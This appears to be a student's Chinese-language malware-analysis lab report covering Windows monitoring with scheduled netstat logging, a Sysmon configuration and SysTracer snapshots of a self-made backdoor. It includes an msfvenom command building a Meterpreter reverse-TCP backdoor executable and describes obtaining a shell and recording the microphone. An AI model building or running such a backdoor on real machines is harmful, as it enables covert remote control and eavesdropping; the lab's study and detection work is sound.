20175323 Exp4 恶意代码分析

1. 实验后回答问题

  • 如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所以想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。

     答:用计划任务可以一直监控端口和进程,并且导入excel统计的话也比较方便查看进程的运行次数等,还有Sysmon、schtasks等工具可以对计算机监听,另外微软的Process Explorer也可以监控进程活动
    
  • 如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。

     答:sysmon(全程记录事件,用搜索功能查找出与该程序对应的事件日志)、SysTracer(有详细对比并且方便查找注册表和文件被进行了什么样子的修改)、还可以上VirusTotal、VirusScan进行扫描,看看它是否被认为是个恶意程序
    

2. 实验总结与体会

这次实验虽说基本上都是利用现有的工具,但是也遇到了一些令人困惑的问题(工具不会用、计划任务无法自动运行、分析数据变化等),需要在网上查找很多的信息,对注册表等文件的内容有了进一步的了解,感觉工具会用也蛮厉害的(比如excel表的统计功能……)

3. 实践过程记录

3.1 系统运行监控

3.1.1 Windows计划任务schtasks

使用命令schtasks /create /TN 20175323 /sc MINUTE /MO 1 /TR "cmd /c netstat -bn > c:\netstatlog.txt" 创建计划任务

  • 此处TR后的表示需要运行的指令
  • TN后面表示计划任务名字
  • sc表示计时方式
  • b表示显示执行的程序名,n表示不解析IP直接显示


注:此处的计划任务名称是netstat5323是因为我做了很多遍!最后成功的计划任务名是20175323!但是最后忘记截图

在C盘下建一个文件c:\netstatlog.bat用于显示日期和时间,内容为:

date /t >> c:\netstatlog.txt
time /t >> c:\netstatlog.txt
netstat -bn >> c:\netstatlog.txt

通过控制面板->管理工具->任务计划程序,找到20175323的计划任务:

更改20175323计划中的属性->操作中的cmd,改为上面生成的bat

然后就出现了一个问题:总是能够手动运行且不报错,可是就是不能自动每分钟运行一次

最后通过以下俩个步骤解决:

我还需要在常规的安全中修改选项如下:(需要输入用户密码)

一定要修改电源选项,不然会无法触发

神奇的就是这两个小小的地方让我卡了一晚上

触发这个计划任务后,打开c:\netstatlog.txt文件,就可以看到获取到的信息

我一直开着电脑等了一天,之后将数据全部复制到excel进行统计:

小贴士:如果直接导入不能出现文本向导就复制数据,通过开始->粘贴键进入导入向导

如图导入成功:

然后可以统计数值:

emmm可以看到人人影视的程序和p4pclient.exe(应该是人人用于上传和下载的程序)访问次数最多(暴露了我边做实验边下电影的事实)

如果剔除这两个程序的话,进程数最多的就有[chrome.exe]、[DellMobileConnectClient.exe]、[svchost.exe]和[TXEDU.exe]

前两个应该没什么大问题,第三个是微软的,官方解释是“从动态链接库 (DLL) 中运行的服务的通用主机进程名称”,最后一个没查到是啥……

只能查查这个TXEDU.exe的IP归属地址,结果还真是来自四面八方的,海外也有,难道还真让我发现了一个病毒?最后在bing中查到:

emmmmm……那好吧

3.1.2 sysmon

在官网上下载sysmon工具,并设置配置文件:

<Sysmon schemaversion="10.42">
  <!-- Capture all hashes -->
  <HashAlgorithms>*</HashAlgorithms>
  <EventFiltering>
    <!-- Log all drivers except if the signature -->
    <!-- contains Microsoft or Windows -->
    <DriverLoad onmatch="exclude">
      <Signature condition="contains">microsoft</Signature>
      <Signature condition="contains">windows</Signature>
    </DriverLoad>

    <ProcessCreate onmatch="exclude">
      <Image condition="end with">chrome.exe</Image>
      <Image condition="end with">iexplorer.exe</Image>
    </ProcessCreate>

    <NetworkConnect onmatch="exclude">
      <Image condition="end with">chrome.exe</Image>
      <Image condition="end with">iexplorer.exe</Image>
      <SourcePort condition="is">137</SourcePort>
      <SourceIp condition="is">127.0.0.1</SourceIp>
    </NetworkConnect>

    <CreateRemoteThread onmatch="include">
      <TargetImage condition="end with">explorer.exe</TargetImage>
      <TargetImage condition="end with">svchost.exe</TargetImage>
      <TargetImage condition="end with">winlogon.exe</TargetImage>
      <SourceImage condition="end with">powershell.exe</SourceImage>
    </CreateRemoteThread>
  </EventFiltering>
</Sysmon>

其中相关项:

  • ProcessCreate表示进程创建
  • NetworkConnect是网络连接
  • CreateRemote是远程线程创建

打开cmd,进入sysmon所在的文件夹,输入Sysmon.exe -i sysmon.xml,注意要以管理员身份运行

然后就可以进入计算机管理,查看事件查看器,在应用程序和服务日志/Microsoft/Windows/Sysmon/Operational中,我们可以看到按照配置文件的要求记录的新事件,以及详细信息。

3.2 恶意软件分析

要求:分析该软件在(1)启动回连,(2)安装到目标机(3)及其他任意操作时(如进程迁移或抓屏,重要是你感兴趣)。该后门软件
(1)读取、添加、删除了哪些注册表项
(2)读取、添加、删除了哪些文件
(3)连接了哪些外部IP,传输了什么数据(抓包分析)

  1. 使用Sysmon

因为实验三我并没有实现免杀,所以还是用了实验二的后门程序,关闭了杀软。然后用主机实现回连,kali获取到主机shell:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT=5323 -f exe > 5323backdoor.exe老套路了

在sysmon中进行查找,可以看到完整的回连信息:

以及用kali对主机发出指令时的信息:我连续输入了dir、pwd、ecord_mic等指令,抓到了下面这个

不太清除这个ApacheBench command line utility是干什么的,网上说是实用命令行程序。。

另外其他抓到的与5323backdoor有关的事件中只有进程id号,没有详细信息。

  1. 使用Systracer

第一步:下载安装Systracer

点击take snapshot拍摄一次快照

用kali对主机getShell之后执行一些指令

在这个过程中拍摄了四次快照:

  • 快照一(Snapshot #1):安装好Systracer后立即拍摄的快照
  • 快照二(Snapshot #2):运行后门程序并在kali中getShell时
  • 快照三(Snapshot #3):通过后门程序对主机运行指令,如dir、ecord_mic等后
  • 快照四(Snapshot #4):程序执行结束后

对快照进行分析,通过Applications->左侧Running Processes->找到后门进程5323backdoor.exe->点击Opened Ports,可以看到查看回连地址、远程地址和端口号:

还可以根据Compare键对某一个具体的快照看到计算机文件中前后的变化:

下面是快照二的compare,蓝色为变化的内容:

上图中是Software\Microsoft\InputMethod\SHARED\发生了变化,一查发现是微软输入法的注册表,难道是后门程序尝试用主机输入法向主机shell发送指令?

可以看到具体是CoCPrivacyConsentUXShowStartTime发生了变化,但是具体它的意思我没揣摩出来,网上也没查到

这个Software\Microsoft\Windows\CurrentVersion\ActivityDataModel中的ActivityDataModel我实在不知道啥意思

路径是SOFTWARE\Microsoft\Multimedia,终于遇到一个看得懂的了,这个应该是多媒体的注册表信息,对应我在kali中的获取音频的ecord_mic指令操作

以上是全部的变化内容,另外还有一些蓝色部分显示:

猜测可能是Systracer的库中没有对应的内容所以无法解析

下面是快照四的compare中变化内容:此时

可以看到ControlSet001CurrentControlSet都发生了变化,其中ControlSet001代表系统真实的配置信息。CurrentControlSet代表运行时配置的信息

但是不清楚服务中的bam指什么

  1. 抓包
    通过主机抓到的包全部都是TCP包,如下图所示,除了三次握手没有分析出有用的信息
posted @ 2020-04-14 22:51  20175323鞠欣余  阅读(442)  评论(0编辑  收藏  举报